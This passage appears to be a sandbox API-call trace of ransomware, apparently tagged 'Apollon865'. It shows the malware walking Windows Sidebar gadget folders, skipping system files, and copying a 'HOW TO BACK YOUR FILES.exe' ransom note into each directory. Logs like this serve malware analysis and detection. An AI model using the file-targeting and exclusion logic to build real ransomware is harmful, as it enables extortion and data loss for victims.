	[0061.444] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="..") returned 1
	[0061.444] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="windows") returned -1
	[0061.444] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="bootmgr") returned 1
	[0061.444] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="temp") returned -1
	[0061.444] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="pagefile.sys") returned 1
	[0061.444] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="boot") returned 1
	[0061.444] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="ids.txt") returned 1
	[0061.444] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="ntuser.dat") returned 1
	[0061.444] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="perflogs") returned 1
	[0061.444] lstrcmpiW (lpString1="picturePuzzle.css", lpString2="MSBuild") returned 1
	[0061.444] lstrlenW (lpString="picturePuzzle.css") returned 17
	[0061.444] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\en-US\\css\\*") returned 73
	[0061.444] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="picturePuzzle.css" | out: lpString1="picturePuzzle.css") returned="picturePuzzle.css"
	[0061.444] lstrlenW (lpString="picturePuzzle.css") returned 17
	[0061.444] lstrlenW (lpString="Apollon865") returned 10
	[0061.444] lstrcmpiW (lpString1="Puzzle.css", lpString2="Apollon865") returned 1
	[0061.444] lstrlenW (lpString=".dll") returned 4
	[0061.444] lstrcmpiW (lpString1="picturePuzzle.css", lpString2=".dll") returned 1
	[0061.444] lstrlenW (lpString=".lnk") returned 4
	[0061.444] lstrcmpiW (lpString1="picturePuzzle.css", lpString2=".lnk") returned 1
	[0061.444] lstrlenW (lpString=".ini") returned 4
	[0061.444] lstrcmpiW (lpString1="picturePuzzle.css", lpString2=".ini") returned 1
	[0061.444] lstrlenW (lpString=".sys") returned 4
	[0061.444] lstrcmpiW (lpString1="picturePuzzle.css", lpString2=".sys") returned 1
	[0061.444] lstrlenW (lpString="picturePuzzle.css") returned 17
	[0061.444] lstrcpyW (in: lpString1=0x2d3e5e0, lpString2="settings.css" | out: lpString1="settings.css") returned="settings.css"
	[0061.444] lstrlenW (lpString="settings.css") returned 12
	[0061.444] lstrlenW (lpString="Apollon865") returned 10
	[0061.444] lstrcmpiW (lpString1="ttings.css", lpString2="Apollon865") returned 1
	[0061.444] lstrlenW (lpString=".dll") returned 4
	[0061.445] lstrcmpiW (lpString1="settings.css", lpString2=".dll") returned 1
	[0061.445] lstrlenW (lpString=".lnk") returned 4
	[0061.445] lstrcmpiW (lpString1="settings.css", lpString2=".lnk") returned 1
	[0061.445] lstrlenW (lpString=".ini") returned 4
	[0061.445] lstrcmpiW (lpString1="settings.css", lpString2=".ini") returned 1
	[0061.445] lstrlenW (lpString=".sys") returned 4
	[0061.445] lstrcmpiW (lpString1="settings.css", lpString2=".sys") returned 1
	[0061.445] lstrlenW (lpString="settings.css") returned 12
	[0061.445] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget"
	[0061.445] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5917c0 | out: hHeap=0x580000) returned 1
	[0061.445] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c08 | out: hHeap=0x580000) returned 1
	[0061.445] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget") returned 59
	[0061.445] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget"
	[0061.445] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.445] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.484] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.484] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x3cb69d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cb69d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0061.484] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.484] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.484] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0061.484] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1afe884, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x3cb69d70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cb69d70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.485] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.485] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0061.485] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0061.485] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0061.485] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b24af3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1
	[0061.485] lstrcmpiW (lpString1="css", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.485] lstrcmpiW (lpString1="css", lpString2="Apollon865.txt.exe") returned 1
	[0061.485] lstrcmpiW (lpString1="css", lpString2=".") returned 1
	[0061.485] lstrcmpiW (lpString1="css", lpString2="..") returned 1
	[0061.485] lstrcmpiW (lpString1="css", lpString2="windows") returned -1
	[0061.485] lstrcmpiW (lpString1="css", lpString2="bootmgr") returned 1
	[0061.485] lstrcmpiW (lpString1="css", lpString2="temp") returned -1
	[0061.485] lstrcmpiW (lpString1="css", lpString2="pagefile.sys") returned -1
	[0061.485] lstrcmpiW (lpString1="css", lpString2="boot") returned 1
	[0061.485] lstrcmpiW (lpString1="css", lpString2="ids.txt") returned -1
	[0061.485] lstrcmpiW (lpString1="css", lpString2="ntuser.dat") returned -1
	[0061.485] lstrcmpiW (lpString1="css", lpString2="perflogs") returned -1
	[0061.485] lstrcmpiW (lpString1="css", lpString2="MSBuild") returned -1
	[0061.485] lstrlenW (lpString="css") returned 3
	[0061.485] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\*") returned 61
	[0061.485] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="css" | out: lpString1="css") returned="css"
	[0061.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c08
	[0061.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x80) returned 0x5bf4e0
	[0061.485] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c10 | out: ListHead=0x5b76b0, ListEntry=0x5b7c10) returned 0x5b7c90
	[0061.485] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa48ceb9, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1b4ad62, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0061.485] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.485] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0061.485] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0061.485] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0061.485] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0061.485] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0061.486] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0061.486] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0061.486] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0061.486] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0061.486] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0061.486] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0061.486] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0061.486] lstrlenW (lpString="en-US") returned 5
	[0061.486] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\css") returned 63
	[0061.486] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0061.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc28
	[0061.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x84) returned 0x5b8f28
	[0061.486] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc30 | out: ListHead=0x5b76b0, ListEntry=0x59fc30) returned 0x5b7c10
	[0061.486] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9015ef3, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc9015ef3, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fb81591, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x19f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="flyout.html", cAlternateFileName="")) returned 1
	[0061.486] lstrcmpiW (lpString1="flyout.html", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.486] lstrcmpiW (lpString1="flyout.html", lpString2="Apollon865.txt.exe") returned 1
	[0061.486] lstrcmpiW (lpString1="flyout.html", lpString2=".") returned 1
	[0061.486] lstrcmpiW (lpString1="flyout.html", lpString2="..") returned 1
	[0061.486] lstrcmpiW (lpString1="flyout.html", lpString2="windows") returned -1
	[0061.486] lstrcmpiW (lpString1="flyout.html", lpString2="bootmgr") returned 1
	[0061.486] lstrcmpiW (lpString1="flyout.html", lpString2="temp") returned -1
	[0061.486] lstrcmpiW (lpString1="flyout.html", lpString2="pagefile.sys") returned -1
	[0061.486] lstrcmpiW (lpString1="flyout.html", lpString2="boot") returned 1
	[0061.486] lstrcmpiW (lpString1="flyout.html", lpString2="ids.txt") returned -1
	[0061.486] lstrcmpiW (lpString1="flyout.html", lpString2="ntuser.dat") returned -1
	[0061.486] lstrcmpiW (lpString1="flyout.html", lpString2="perflogs") returned -1
	[0061.486] lstrcmpiW (lpString1="flyout.html", lpString2="MSBuild") returned -1
	[0061.486] lstrlenW (lpString="flyout.html") returned 11
	[0061.486] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US") returned 65
	[0061.486] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="flyout.html" | out: lpString1="flyout.html") returned="flyout.html"
	[0061.486] lstrlenW (lpString="flyout.html") returned 11
	[0061.486] lstrlenW (lpString="Apollon865") returned 10
	[0061.486] lstrcmpiW (lpString1="lyout.html", lpString2="Apollon865") returned 1
	[0061.487] lstrlenW (lpString=".dll") returned 4
	[0061.487] lstrcmpiW (lpString1="flyout.html", lpString2=".dll") returned 1
	[0061.487] lstrlenW (lpString=".lnk") returned 4
	[0061.487] lstrcmpiW (lpString1="flyout.html", lpString2=".lnk") returned 1
	[0061.487] lstrlenW (lpString=".ini") returned 4
	[0061.487] lstrcmpiW (lpString1="flyout.html", lpString2=".ini") returned 1
	[0061.487] lstrlenW (lpString=".sys") returned 4
	[0061.487] lstrcmpiW (lpString1="flyout.html", lpString2=".sys") returned 1
	[0061.487] lstrlenW (lpString="flyout.html") returned 11
	[0061.487] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="images" | out: lpString1="images") returned="images"
	[0061.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc48
	[0061.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x86) returned 0x5b90d8
	[0061.487] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc50 | out: ListHead=0x5b76b0, ListEntry=0x59fc50) returned 0x59fc30
	[0061.487] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1cc85b8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1
	[0061.487] lstrcmpiW (lpString1="js", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.487] lstrcmpiW (lpString1="js", lpString2="Apollon865.txt.exe") returned 1
	[0061.487] lstrcmpiW (lpString1="js", lpString2=".") returned 1
	[0061.487] lstrcmpiW (lpString1="js", lpString2="..") returned 1
	[0061.487] lstrcmpiW (lpString1="js", lpString2="windows") returned -1
	[0061.487] lstrcmpiW (lpString1="js", lpString2="bootmgr") returned 1
	[0061.487] lstrcmpiW (lpString1="js", lpString2="temp") returned -1
	[0061.487] lstrcmpiW (lpString1="js", lpString2="pagefile.sys") returned -1
	[0061.487] lstrcmpiW (lpString1="js", lpString2="boot") returned 1
	[0061.487] lstrcmpiW (lpString1="js", lpString2="ids.txt") returned 1
	[0061.487] lstrcmpiW (lpString1="js", lpString2="ntuser.dat") returned -1
	[0061.487] lstrcmpiW (lpString1="js", lpString2="perflogs") returned -1
	[0061.487] lstrcmpiW (lpString1="js", lpString2="MSBuild") returned -1
	[0061.487] lstrlenW (lpString="js") returned 2
	[0061.487] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images") returned 66
	[0061.488] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="js" | out: lpString1="js") returned="js"
	[0061.488] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0061.488] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7e) returned 0x5bf898
	[0061.488] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x59fc50
	[0061.488] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8fefd96, ftCreationTime.dwHighDateTime=0x1ca0408, ftLastAccessTime.dwLowDateTime=0xc8fefd96, ftLastAccessTime.dwHighDateTime=0x1ca0408, ftLastWriteTime.dwLowDateTime=0x3fbf39ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x294e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="main.html", cAlternateFileName="")) returned 1
	[0061.488] lstrcmpiW (lpString1="main.html", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0061.488] lstrcmpiW (lpString1="main.html", lpString2="Apollon865.txt.exe") returned 1
	[0061.488] lstrcmpiW (lpString1="main.html", lpString2=".") returned 1
	[0061.488] lstrcmpiW (lpString1="main.html", lpString2="..") returned 1
	[0061.488] lstrcmpiW (lpString1="main.html", lpString2="windows") returned -1
	[0061.488] lstrcmpiW (lpString1="main.html", lpString2="bootmgr") returned 1
	[0061.488] lstrcmpiW (lpString1="main.html", lpString2="temp") returned -1
	[0061.488] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="main.html" | out: lpString1="main.html") returned="main.html"
	[0061.488] lstrlenW (lpString="main.html") returned 9
	[0061.488] lstrlenW (lpString="Apollon865") returned 10
	[0061.488] lstrlenW (lpString=".dll") returned 4
	[0061.488] lstrcmpiW (lpString1="main.html", lpString2=".dll") returned 1
	[0061.488] lstrlenW (lpString=".lnk") returned 4
	[0061.488] lstrcmpiW (lpString1="main.html", lpString2=".lnk") returned 1
	[0061.488] lstrlenW (lpString=".ini") returned 4
	[0061.488] lstrcmpiW (lpString1="main.html", lpString2=".ini") returned 1
	[0061.488] lstrlenW (lpString=".sys") returned 4
	[0061.488] lstrcmpiW (lpString1="main.html", lpString2=".sys") returned 1
	[0061.488] lstrlenW (lpString="main.html") returned 9
	[0061.488] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="MCESidebarCtrl.dll" | out: lpString1="MCESidebarCtrl.dll") returned="MCESidebarCtrl.dll"
	[0061.488] lstrlenW (lpString="MCESidebarCtrl.dll") returned 18
	[0061.488] lstrlenW (lpString="Apollon865") returned 10
	[0061.488] lstrcmpiW (lpString1="arCtrl.dll", lpString2="Apollon865") returned 1
	[0061.488] lstrlenW (lpString=".dll") returned 4
	[0061.488] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2=".dll") returned 1
	[0061.489] lstrlenW (lpString=".lnk") returned 4
	[0061.489] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2=".lnk") returned 1
	[0061.489] lstrlenW (lpString=".ini") returned 4
	[0061.489] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2=".ini") returned 1
	[0061.489] lstrlenW (lpString=".sys") returned 4
	[0061.489] lstrcmpiW (lpString1="MCESidebarCtrl.dll", lpString2=".sys") returned 1
	[0061.489] lstrlenW (lpString="MCESidebarCtrl.dll") returned 18
	[0061.489] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="settings.html" | out: lpString1="settings.html") returned="settings.html"
	[0061.489] lstrlenW (lpString="settings.html") returned 13
	[0061.489] lstrlenW (lpString="Apollon865") returned 10
	[0061.489] lstrcmpiW (lpString1="tings.html", lpString2="Apollon865") returned 1
	[0061.489] lstrlenW (lpString=".dll") returned 4
	[0061.489] lstrcmpiW (lpString1="settings.html", lpString2=".dll") returned 1
	[0061.489] lstrlenW (lpString=".lnk") returned 4
	[0061.489] lstrcmpiW (lpString1="settings.html", lpString2=".lnk") returned 1
	[0061.489] lstrlenW (lpString=".ini") returned 4
	[0061.489] lstrcmpiW (lpString1="settings.html", lpString2=".ini") returned 1
	[0061.489] lstrlenW (lpString=".sys") returned 4
	[0061.489] lstrcmpiW (lpString1="settings.html", lpString2=".sys") returned 1
	[0061.489] lstrlenW (lpString="settings.html") returned 13
	[0061.489] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js"
	[0061.489] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0061.489] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc68 | out: hHeap=0x580000) returned 1
	[0061.489] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js") returned 62
	[0061.489] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js"
	[0061.489] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.489] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\js\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.493] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.493] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\js\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1cc85b8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x3cb8fed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cb8fed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0061.494] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.494] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.494] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="main.js" | out: lpString1="main.js") returned="main.js"
	[0061.494] lstrlenW (lpString="main.js") returned 7
	[0061.494] lstrlenW (lpString="Apollon865") returned 10
	[0061.494] lstrlenW (lpString=".dll") returned 4
	[0061.494] lstrcmpiW (lpString1="main.js", lpString2=".dll") returned 1
	[0061.494] lstrlenW (lpString=".lnk") returned 4
	[0061.494] lstrcmpiW (lpString1="main.js", lpString2=".lnk") returned 1
	[0061.494] lstrlenW (lpString=".ini") returned 4
	[0061.494] lstrcmpiW (lpString1="main.js", lpString2=".ini") returned 1
	[0061.494] lstrlenW (lpString=".sys") returned 4
	[0061.494] lstrcmpiW (lpString1="main.js", lpString2=".sys") returned 1
	[0061.494] lstrlenW (lpString="main.js") returned 7
	[0061.494] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="settings.js" | out: lpString1="settings.js") returned="settings.js"
	[0061.494] lstrlenW (lpString="settings.js") returned 11
	[0061.494] lstrlenW (lpString="Apollon865") returned 10
	[0061.494] lstrcmpiW (lpString1="ettings.js", lpString2="Apollon865") returned 1
	[0061.494] lstrlenW (lpString=".dll") returned 4
	[0061.494] lstrcmpiW (lpString1="settings.js", lpString2=".dll") returned 1
	[0061.494] lstrlenW (lpString=".lnk") returned 4
	[0061.494] lstrcmpiW (lpString1="settings.js", lpString2=".lnk") returned 1
	[0061.494] lstrlenW (lpString=".ini") returned 4
	[0061.494] lstrcmpiW (lpString1="settings.js", lpString2=".ini") returned 1
	[0061.494] lstrlenW (lpString=".sys") returned 4
	[0061.494] lstrcmpiW (lpString1="settings.js", lpString2=".sys") returned 1
	[0061.494] lstrlenW (lpString="settings.js") returned 11
	[0061.495] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images", iMaxLength=260 | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images"
	[0061.495] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b90d8 | out: hHeap=0x580000) returned 1
	[0061.495] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fc48 | out: hHeap=0x580000) returned 1
	[0061.495] lstrlenW (lpString="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images") returned 66
	[0061.495] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images" | out: lpString1="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images") returned="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images"
	[0061.495] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0061.495] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\images\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0061.519] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0061.519] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\images\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x3cbb6030, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3cbb6030, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0061.519] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0061.519] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0061.519] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="button_left_mousedown.png" | out: lpString1="button_left_mousedown.png") returned="button_left_mousedown.png"
	[0061.519] lstrlenW (lpString="button_left_mousedown.png") returned 25
	[0061.519] lstrlenW (lpString="Apollon865") returned 10
	[0061.519] lstrcmpiW (lpString1="sedown.png", lpString2="Apollon865") returned 1
	[0061.519] lstrlenW (lpString=".dll") returned 4
	[0061.519] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2=".dll") returned 1
	[0061.519] lstrlenW (lpString=".lnk") returned 4
	[0061.519] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2=".lnk") returned 1
	[0061.519] lstrlenW (lpString=".ini") returned 4
	[0061.519] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2=".ini") returned 1
	[0061.519] lstrlenW (lpString=".sys") returned 4
	[0061.519] lstrcmpiW (lpString1="button_left_mousedown.png", lpString2=".sys") returned 1
	[0061.519] lstrlenW (lpString="button_left_mousedown.png") returned 25
	[0061.519] lstrcpyW (in: lpString1=0x2d3e5d6, lpString2="button_left_mouseout.png" | out: lpString1="button_left_mouseout.png") returned="button_left_mouseout.png"
	[0061.519] lstrlenW (lpString="button_left_mouseout.png") returned 24
	[0061.520] lstrlenW (lpString="Apollon865") returned 10
